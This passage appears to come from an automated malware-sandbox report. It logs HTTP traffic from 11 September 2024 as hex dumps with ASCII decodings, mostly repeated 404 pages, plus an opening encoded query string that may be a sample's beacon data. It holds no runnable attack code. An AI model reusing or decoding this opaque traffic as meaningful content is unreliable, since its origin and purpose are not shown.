75 77 70 76 39 69 48 6f 37 6a 45 77 70 42 4e 61 49 78 51 76 36 4f 4b 59 53 36 7a 5a 32 50 51 61 72 4d 72 4d 43 34 36 48 6b 76 6b 49 63 47 36 46 6e 6e 43 68 55 32 55 4c 69 43 57 57 52 4a 79 36 78 45 50 35 46 42 39 4b 76 44 46 72 55 6d 70 2b 51 72 33 6a 76 6d 39 63 42 63 65 56 73 4c 48 56 55 55 63 2b 39 67 31 66 62 72 70 56 46 65 49 5a 7a 77 55 46 41 3d 3d Data Ascii: pP_8=e/XjuvFYh54w46pA1RfNQrskaKM35vQzGWRtc1f830b1J28TFtcy+DNPLAsUcoNtPpnvXhm3r8HkKuwpv9iHo7jEwpBNaIxQv6OKYS6zZ2PQarMrMC46HkvkIcG6FnnChU2ULiCWWRJy6xEP5FB9KvDFrUmp+Qr3jvm9cBceVsLHVUUc+9g1fbrpVFeIZzwUFA==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 09:17:25 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 34 61 72 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /a4ar/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 11 Sep 2024 09:17:55 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 11 Sep 2024 09:17:57 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 11 Sep 2024 09:18:00 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 11 Sep 2024 09:18:02 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 09:18:21 GMTServer: ApacheContent-Length: 32106Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 42 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 09:18:21 GMTServer: ApacheContent-Length: 32106Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 42 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 09:18:24 GMTServer: ApacheContent-Length: 32106Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 